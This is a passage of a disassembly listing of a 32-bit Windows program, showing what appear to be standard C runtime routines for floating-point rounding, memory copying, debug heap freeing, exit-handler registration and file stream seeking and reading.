mov eax, [ebp+arg_0]
mov [edx+8], eax
mov ecx, [ebp+var_24]
mov edx, [ebp+arg_0]
mov [ecx], edx
mov eax, [ebp+arg_0]
push eax
call sub_414EC0
add esp, 4
mov ecx, [ebp+var_24]
mov [ecx+4], eax
mov edx, [ebp+var_2C]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_24]
push ecx
call sub_4236C0
add esp, 0Ch
mov [ebp+var_28], eax
mov eax, [ebp+var_28]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_419670 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_419730(double)
sub_419730 proc near ; CODE XREF: sub_40B76A+38p
var_1C = qword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push 0FFFFh
mov eax, dword_444EB0
push eax
call sub_425B20
add esp, 8
mov [ebp+var_C], eax
mov ecx, dword ptr [ebp+arg_0+6]
and ecx, 0FFFFh
and ecx, 7FF0h
cmp ecx, 7FF0h
jnz loc_4197EB
mov edx, dword ptr [ebp+arg_0+4]
push edx
mov eax, dword ptr [ebp+arg_0]
push eax
call sub_425920
add esp, 8
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jle short loc_4197C2
cmp [ebp+var_10], 2
jle short loc_41978E
cmp [ebp+var_10], 3
jz short loc_4197A7
jmp short loc_4197C2
; ---------------------------------------------------------------------------
loc_41978E: ; CODE XREF: sub_419730+54j
push 0FFFFh
mov ecx, [ebp+var_C]
push ecx
call sub_425B20
add esp, 8
fld [ebp+arg_0]
jmp loc_419861
; ---------------------------------------------------------------------------
loc_4197A7: ; CODE XREF: sub_419730+5Aj
mov edx, [ebp+var_C]
push edx ; int
mov eax, dword ptr [ebp+arg_0+4]
push eax
mov ecx, dword ptr [ebp+arg_0]
push ecx ; double
push 0Bh ; int
call sub_424BE0
add esp, 10h
jmp loc_419861
; ---------------------------------------------------------------------------
loc_4197C2: ; CODE XREF: sub_419730+4Ej
; sub_419730+5Cj
mov edx, [ebp+var_C]
push edx ; int
fld [ebp+arg_0]
fadd dbl_434D30
sub esp, 8
fstp [esp+1Ch+var_1C]
mov eax, dword ptr [ebp+arg_0+4]
push eax ; int
mov ecx, dword ptr [ebp+arg_0]
push ecx ; int
push 0Bh ; int
push 8 ; int
call sub_424CB0
add esp, 1Ch
jmp short loc_419861
; ---------------------------------------------------------------------------
loc_4197EB: ; CODE XREF: sub_419730+31j
mov edx, dword ptr [ebp+arg_0+4]
push edx
mov eax, dword ptr [ebp+arg_0]
push eax ; double
call sub_424BC0
add esp, 8
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
fnstsw ax
test ah, 40h
jz short loc_419821
push 0FFFFh
mov ecx, [ebp+var_C]
push ecx
call sub_425B20
add esp, 8
fld [ebp+var_8]
jmp short loc_419861
; ---------------------------------------------------------------------------
loc_419821: ; CODE XREF: sub_419730+D9j
mov edx, [ebp+var_C]
and edx, 20h
test edx, edx
jz short loc_419841
push 0FFFFh
mov eax, [ebp+var_C]
push eax
call sub_425B20
add esp, 8
fld [ebp+var_8]
jmp short loc_419861
; ---------------------------------------------------------------------------
loc_419841: ; CODE XREF: sub_419730+F9j
mov ecx, [ebp+var_C]
push ecx ; int
mov edx, dword ptr [ebp+var_8+4]
push edx
mov eax, dword ptr [ebp+var_8]
push eax ; double
mov ecx, dword ptr [ebp+arg_0+4]
push ecx ; int
mov edx, dword ptr [ebp+arg_0]
push edx ; int
push 0Bh ; int
push 10h ; int
call sub_424CB0
add esp, 1Ch
loc_419861: ; CODE XREF: sub_419730+72j
; sub_419730+8Dj ...
mov esp, ebp
pop ebp
retn
sub_419730 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419870 proc near ; CODE XREF: sub_417AB0+Cp
; DATA XREF: .data:off_444EBCo
push ebp
mov ebp, esp
push ebx
push esi
push edi
call sub_4198B0
call sub_425C60
mov dword_4DDFCC, eax
call sub_425BE0
fnclex
pop edi
pop esi
pop ebx
pop ebp
retn
sub_419870 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4198A0 proc near ; DATA XREF: .data:00444EC0o
; .data:00444EC4o
push ebp
mov ebp, esp
pop ebp
retn
sub_4198A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4198B0 proc near ; CODE XREF: sub_419870+6p
push ebp
mov ebp, esp
mov off_447838, offset sub_426350
mov off_44783C, offset sub_425D60
mov off_447840, offset sub_425E70
mov off_447844, offset sub_425CB0
mov off_447848, offset sub_425E40
mov off_44784C, offset sub_426350
pop ebp
retn
sub_4198B0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, dword_4DDFC8
mov [ebp-4], eax
mov ecx, [ebp+8]
mov dword_4DDFC8, ecx
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41991C proc near ; CODE XREF: sub_40B76A+1Bp
; sub_40B76A+44p ...
var_C = qword ptr -0Ch
var_4 = word ptr -4
var_2 = word ptr -2
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
fstcw [ebp+var_2]
wait
mov ax, [ebp+var_2]
or ah, 0Ch
mov [ebp+var_4], ax
fldcw [ebp+var_4]
fistp [ebp+var_C]
fldcw [ebp+var_2]
mov eax, dword ptr [ebp+var_C]
mov edx, dword ptr [ebp+var_C+4]
leave
retn
sub_41991C endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_419950(double)
sub_419950 proc near ; CODE XREF: sub_40B7B6+79p
var_1C = qword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push 0FFFFh
mov eax, dword_444EC8
push eax
call sub_425B20
add esp, 8
mov [ebp+var_C], eax
mov ecx, dword ptr [ebp+arg_0+6]
and ecx, 0FFFFh
and ecx, 7FF0h
cmp ecx, 7FF0h
jnz loc_419A0B
mov edx, dword ptr [ebp+arg_0+4]
push edx
mov eax, dword ptr [ebp+arg_0]
push eax
call sub_425920
add esp, 8
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jle short loc_4199E2
cmp [ebp+var_10], 2
jle short loc_4199AE
cmp [ebp+var_10], 3
jz short loc_4199C7
jmp short loc_4199E2
; ---------------------------------------------------------------------------
loc_4199AE: ; CODE XREF: sub_419950+54j
push 0FFFFh
mov ecx, [ebp+var_C]
push ecx
call sub_425B20
add esp, 8
fld [ebp+arg_0]
jmp loc_419A81
; ---------------------------------------------------------------------------
loc_4199C7: ; CODE XREF: sub_419950+5Aj
mov edx, [ebp+var_C]
push edx ; int
mov eax, dword ptr [ebp+arg_0+4]
push eax
mov ecx, dword ptr [ebp+arg_0]
push ecx ; double
push 0Ch ; int
call sub_424BE0
add esp, 10h
jmp loc_419A81
; ---------------------------------------------------------------------------
loc_4199E2: ; CODE XREF: sub_419950+4Ej
; sub_419950+5Cj
mov edx, [ebp+var_C]
push edx ; int
fld [ebp+arg_0]
fadd dbl_434D30
sub esp, 8
fstp [esp+1Ch+var_1C]
mov eax, dword ptr [ebp+arg_0+4]
push eax ; int
mov ecx, dword ptr [ebp+arg_0]
push ecx ; int
push 0Ch ; int
push 8 ; int
call sub_424CB0
add esp, 1Ch
jmp short loc_419A81
; ---------------------------------------------------------------------------
loc_419A0B: ; CODE XREF: sub_419950+31j
mov edx, dword ptr [ebp+arg_0+4]
push edx
mov eax, dword ptr [ebp+arg_0]
push eax ; double
call sub_424BC0
add esp, 8
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
fnstsw ax
test ah, 40h
jz short loc_419A41
push 0FFFFh
mov ecx, [ebp+var_C]
push ecx
call sub_425B20
add esp, 8
fld [ebp+var_8]
jmp short loc_419A81
; ---------------------------------------------------------------------------
loc_419A41: ; CODE XREF: sub_419950+D9j
mov edx, [ebp+var_C]
and edx, 20h
test edx, edx
jz short loc_419A61
push 0FFFFh
mov eax, [ebp+var_C]
push eax
call sub_425B20
add esp, 8
fld [ebp+var_8]
jmp short loc_419A81
; ---------------------------------------------------------------------------
loc_419A61: ; CODE XREF: sub_419950+F9j
mov ecx, [ebp+var_C]
push ecx ; int
mov edx, dword ptr [ebp+var_8+4]
push edx
mov eax, dword ptr [ebp+var_8]
push eax ; double
mov ecx, dword ptr [ebp+arg_0+4]
push ecx ; int
mov edx, dword ptr [ebp+arg_0]
push edx ; int
push 0Ch ; int
push 10h ; int
call sub_424CB0
add esp, 1Ch
loc_419A81: ; CODE XREF: sub_419950+72j
; sub_419950+8Dj ...
mov esp, ebp
pop ebp
retn
sub_419950 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419A90 proc near ; CODE XREF: sub_40C00Dj
; sub_41CBB0+590p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_419AB0
cmp edi, eax
jb loc_419C28
loc_419AB0: ; CODE XREF: sub_419A90+16j
test edi, 3
jnz short loc_419ACC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_419AEC
rep movsd
jmp off_419BD8[edx*4]
; ---------------------------------------------------------------------------
loc_419ACC: ; CODE XREF: sub_419A90+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_419AE4
and eax, 3
add ecx, eax
jmp dword ptr loc_419AEC+4[eax*4]
; ---------------------------------------------------------------------------
loc_419AE4: ; CODE XREF: sub_419A90+46j
jmp dword ptr loc_419BE8[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_419AEC: ; CODE XREF: sub_419A90+31j
; sub_419A90+8Ej ...
jmp off_419B6C[ecx*4]
; ---------------------------------------------------------------------------
db 90h
dd offset loc_419B00
dd offset loc_419B2C
dd offset loc_419B50
; ---------------------------------------------------------------------------
loc_419B00: ; DATA XREF: sub_419A90+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_419AEC
rep movsd
jmp off_419BD8[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_419B2C: ; DATA XREF: sub_419A90+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_419AEC
rep movsd
jmp off_419BD8[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_419B50: ; DATA XREF: sub_419A90+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_419AEC
rep movsd
jmp off_419BD8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_419B6C dd offset loc_419BCF ; DATA XREF: sub_419A90:loc_419AECr
dd offset loc_419BBC
dd offset loc_419BB4
dd offset loc_419BAC
dd offset loc_419BA4
dd offset loc_419B9C
dd offset loc_419B94
dd offset loc_419B8C
; ---------------------------------------------------------------------------
loc_419B8C: ; CODE XREF: sub_419A90:loc_419AECj
; DATA XREF: sub_419A90+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_419B94: ; CODE XREF: sub_419A90:loc_419AECj
; DATA XREF: sub_419A90+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_419B9C: ; CODE XREF: sub_419A90:loc_419AECj
; DATA XREF: sub_419A90+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_419BA4: ; CODE XREF: sub_419A90:loc_419AECj
; DATA XREF: sub_419A90+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_419BAC: ; CODE XREF: sub_419A90:loc_419AECj
; DATA XREF: sub_419A90+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_419BB4: ; CODE XREF: sub_419A90:loc_419AECj
; DATA XREF: sub_419A90+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_419BBC: ; CODE XREF: sub_419A90:loc_419AECj
; DATA XREF: sub_419A90+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_419BCF: ; CODE XREF: sub_419A90:loc_419AECj
; DATA XREF: sub_419A90:off_419B6Co
jmp off_419BD8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_419BD8 dd offset loc_419BE8 ; DATA XREF: sub_419A90+35r
; sub_419A90+92r ...
dd offset loc_419BF0
dd offset loc_419BFC
dd offset loc_419C10
; ---------------------------------------------------------------------------
loc_419BE8: ; CODE XREF: sub_419A90+35j
; sub_419A90+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_419BF0: ; CODE XREF: sub_419A90+35j
; sub_419A90+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_419BFC: ; CODE XREF: sub_419A90+35j
; sub_419A90+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_419C10: ; CODE XREF: sub_419A90+35j
; sub_419A90+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_419C28: ; CODE XREF: sub_419A90+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_419C5C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_419C50
std
rep movsd
cld
jmp off_419D70[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_419C50: ; CODE XREF: sub_419A90+1B1j
; sub_419A90+208j ...
neg ecx
jmp off_419D20[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_419C5C: ; CODE XREF: sub_419A90+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_419C74
and eax, 3
sub ecx, eax
jmp dword ptr loc_419C74+4[eax*4]
; ---------------------------------------------------------------------------
loc_419C74: ; CODE XREF: sub_419A90+1D6j
; DATA XREF: sub_419A90+1DDr
jmp off_419D70[ecx*4]
; ---------------------------------------------------------------------------
align 4
mov [ecx+eax*2+419CA800h], bl
add al, dl
pushf
inc ecx
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_419C50
std
rep movsd
cld
jmp off_419D70[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_419C50
std
rep movsd
cld
jmp off_419D70[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_419C50
std
rep movsd
cld
jmp off_419D70[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_419D24
dd offset loc_419D2C
dd offset loc_419D34
dd offset loc_419D3C
dd offset loc_419D44
dd offset loc_419D4C
dd offset loc_419D54
off_419D20 dd offset loc_419D67 ; DATA XREF: sub_419A90+1C2r
; ---------------------------------------------------------------------------
loc_419D24: ; DATA XREF: sub_419A90+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_419D2C: ; DATA XREF: sub_419A90+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_419D34: ; DATA XREF: sub_419A90+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_419D3C: ; DATA XREF: sub_419A90+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_419D44: ; DATA XREF: sub_419A90+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_419D4C: ; DATA XREF: sub_419A90+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_419D54: ; DATA XREF: sub_419A90+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_419D67: ; CODE XREF: sub_419A90+1C2j
; DATA XREF: sub_419A90:off_419D20o
jmp off_419D70[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_419D70 dd offset loc_419D80 ; DATA XREF: sub_419A90+1B7r
; sub_419A90:loc_419C74r ...
dd offset loc_419D88
dd offset loc_419D98
dd offset loc_419DAC
; ---------------------------------------------------------------------------
loc_419D80: ; CODE XREF: sub_419A90+1B7j
; sub_419A90:loc_419C74j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_419D88: ; CODE XREF: sub_419A90+1B7j
; sub_419A90:loc_419C74j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_419D98: ; CODE XREF: sub_419A90+1B7j
; sub_419A90:loc_419C74j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_419DAC: ; CODE XREF: sub_419A90+1B7j
; sub_419A90:loc_419C74j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_419A90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419DD0 proc near ; CODE XREF: sub_40C0F5+4p
; sub_4333F0+1Dp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
cmp [ebp+arg_0], 0
jnz short loc_419DE2
jmp loc_419E6A
; ---------------------------------------------------------------------------
loc_419DE2: ; CODE XREF: sub_419DD0+Bj
push 9
call sub_41BC80
add esp, 4
mov eax, [ebp+arg_0]
sub eax, 20h
mov [ebp+var_4], eax
loc_419DF5: ; CODE XREF: sub_419DD0+7Bj
mov ecx, [ebp+var_4]
mov edx, [ecx+14h]
and edx, 0FFFFh
cmp edx, 4
jz short loc_419E47
mov eax, [ebp+var_4]
cmp dword ptr [eax+14h], 1
jz short loc_419E47
mov ecx, [ebp+var_4]
mov edx, [ecx+14h]
and edx, 0FFFFh
cmp edx, 2
jz short loc_419E47
mov eax, [ebp+var_4]
cmp dword ptr [eax+14h], 3
jz short loc_419E47
push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
push 0
push 2Fh
push offset dword_434D38
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_419E47
int 3 ; Trap to Debugger
loc_419E47: ; CODE XREF: sub_419DD0+34j
; sub_419DD0+3Dj ...
xor ecx, ecx
test ecx, ecx
jnz short loc_419DF5
mov edx, [ebp+var_4]
mov eax, [edx+14h]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_415C60
add esp, 8
push 9
call sub_41BD20
add esp, 4
loc_419E6A: ; CODE XREF: sub_419DD0+Dj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_419DD0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419E80 proc near ; CODE XREF: sub_40C148+Bp
; sub_412726+3Fp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push 1
mov eax, [ebp+arg_0]
push eax
call sub_4150F0
add esp, 8
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_419E80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419EA0 proc near ; CODE XREF: sub_419F60+7p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
call sub_417C60
push 2
mov eax, dword_4DF694
push eax
call sub_4160E0
add esp, 8
mov ecx, dword_4DF690
sub ecx, dword_4DF694
add ecx, 4
cmp eax, ecx
jnb short loc_419F2D
push 68h
push offset dword_434D44
push 2
push 2
mov edx, dword_4DF694
push edx
call sub_4160E0
add esp, 8
add eax, 10h
push eax
mov eax, dword_4DF694
push eax
call sub_4155B0
add esp, 14h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_419F0A
call sub_417C70
xor eax, eax
jmp short loc_419F4F
; ---------------------------------------------------------------------------
loc_419F0A: ; CODE XREF: sub_419EA0+5Fj
mov ecx, dword_4DF690
sub ecx, dword_4DF694
sar ecx, 2
mov edx, [ebp+var_4]
lea eax, [edx+ecx*4]
mov dword_4DF690, eax
mov ecx, [ebp+var_4]
mov dword_4DF694, ecx
loc_419F2D: ; CODE XREF: sub_419EA0+2Aj
mov edx, dword_4DF690
mov eax, [ebp+arg_0]
mov [edx], eax
mov ecx, dword_4DF690
add ecx, 4
mov dword_4DF690, ecx
call sub_417C70
mov eax, [ebp+arg_0]
loc_419F4F: ; CODE XREF: sub_419EA0+68j
mov esp, ebp
pop ebp
retn
sub_419EA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419F60 proc near ; CODE XREF: .data:0040BBA7p
; sub_4336D0+8p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push eax
call sub_419EA0
add esp, 4
neg eax
sbb eax, eax
neg eax
dec eax
pop ebp
retn
sub_419F60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419F80 proc near ; DATA XREF: .data:0043701Co
push ebp
mov ebp, esp
push 0B6h
push offset dword_434D44
push 2
push 80h
call sub_4150C0
add esp, 10h
mov dword_4DF694, eax
cmp dword_4DF694, 0
jnz short loc_419FB4
push 18h
call sub_41AC70
add esp, 4
loc_419FB4: ; CODE XREF: sub_419F80+28j
mov eax, dword_4DF694
mov dword ptr [eax], 0
mov ecx, dword_4DF694
mov dword_4DF690, ecx
pop ebp
retn
sub_419F80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419FD0 proc near ; CODE XREF: sub_40F3B8+26Ep
; sub_40F3B8+377p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
loc_419FD7: ; CODE XREF: sub_419FD0+2Fj
cmp [ebp+arg_0], 0
jnz short loc_419FFB
push offset dword_43449C
push 0
push 65h
push offset dword_434D50
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_419FFB
int 3 ; Trap to Debugger
loc_419FFB: ; CODE XREF: sub_419FD0+Bj
; sub_419FD0+28j
xor eax, eax
test eax, eax
jnz short loc_419FD7
mov ecx, [ebp+arg_0]
push ecx
call sub_41AE20
add esp, 4
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_41A040
add esp, 0Ch
mov [ebp+var_4], eax
mov edx, [ebp+arg_0]
push edx
call sub_41AE90
add esp, 4
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_419FD0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A040 proc near ; CODE XREF: sub_419FD0+49p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
loc_41A047: ; CODE XREF: sub_41A040+32j
cmp [ebp+arg_0], 0
jnz short loc_41A06E
push offset dword_4344AC
push 0
push 92h
push offset dword_434D50
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_41A06E
int 3 ; Trap to Debugger
loc_41A06E: ; CODE XREF: sub_41A040+Bj
; sub_41A040+2Bj
xor eax, eax
test eax, eax
jnz short loc_41A047
mov ecx, [ebp+arg_0]
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 83h
test eax, eax
jz short loc_41A09B
cmp [ebp+arg_8], 0
jz short loc_41A0AE
cmp [ebp+arg_8], 1
jz short loc_41A0AE
cmp [ebp+arg_8], 2
jz short loc_41A0AE
loc_41A09B: ; CODE XREF: sub_41A040+47j
call sub_4224D0
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
jmp loc_41A160
; ---------------------------------------------------------------------------
loc_41A0AE: ; CODE XREF: sub_41A040+4Dj
; sub_41A040+53j ...
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
and edx, 0FFFFFFEFh
mov eax, [ebp+var_4]
mov [eax+0Ch], edx
cmp [ebp+arg_8], 1
jnz short loc_41A0DE
mov ecx, [ebp+var_4]
push ecx
call sub_4265A0
add esp, 4
mov edx, [ebp+arg_4]
add edx, eax
mov [ebp+arg_4], edx
mov [ebp+arg_8], 0
loc_41A0DE: ; CODE XREF: sub_41A040+81j
mov eax, [ebp+var_4]
push eax
call sub_41B920
add esp, 4
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
and edx, 80h
test edx, edx
jz short loc_41A10B
mov eax, [ebp+var_4]
mov ecx, [eax+0Ch]
and ecx, 0FFFFFFFCh
mov edx, [ebp+var_4]
mov [edx+0Ch], ecx
jmp short loc_41A13F
; ---------------------------------------------------------------------------
loc_41A10B: ; CODE XREF: sub_41A040+B8j
mov eax, [ebp+var_4]
mov ecx, [eax+0Ch]
and ecx, 1
test ecx, ecx
jz short loc_41A13F
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 8
test eax, eax
jz short loc_41A13F
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
and edx, 400h
test edx, edx
jnz short loc_41A13F
mov eax, [ebp+var_4]
mov dword ptr [eax+18h], 200h
loc_41A13F: ; CODE XREF: sub_41A040+C9j
; sub_41A040+D6j ...
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+var_4]
mov ecx, [eax+10h]
push ecx
call sub_4263E0
add esp, 0Ch
sub eax, 0FFFFFFFFh
neg eax
sbb eax, eax
neg eax
dec eax
loc_41A160: ; CODE XREF: sub_41A040+69j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41A040 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A170 proc near ; CODE XREF: sub_410A18+127p
; .data:004134E8p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_C]
push eax
call sub_41AE20
add esp, 4
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_41A1B0
add esp, 10h
mov [ebp+var_4], eax
mov edx, [ebp+arg_C]
push edx
call sub_41AE90
add esp, 4
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_41A170 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A1B0 proc near ; CODE XREF: sub_41A170+20p
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 28h
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_4]
imul ecx, [ebp+arg_8]
mov [ebp+var_10], ecx
mov edx, [ebp+var_10]
mov [ebp+var_C], edx
cmp [ebp+var_C], 0
jnz short loc_41A1D9
xor eax, eax
jmp loc_41A3C5
; ---------------------------------------------------------------------------
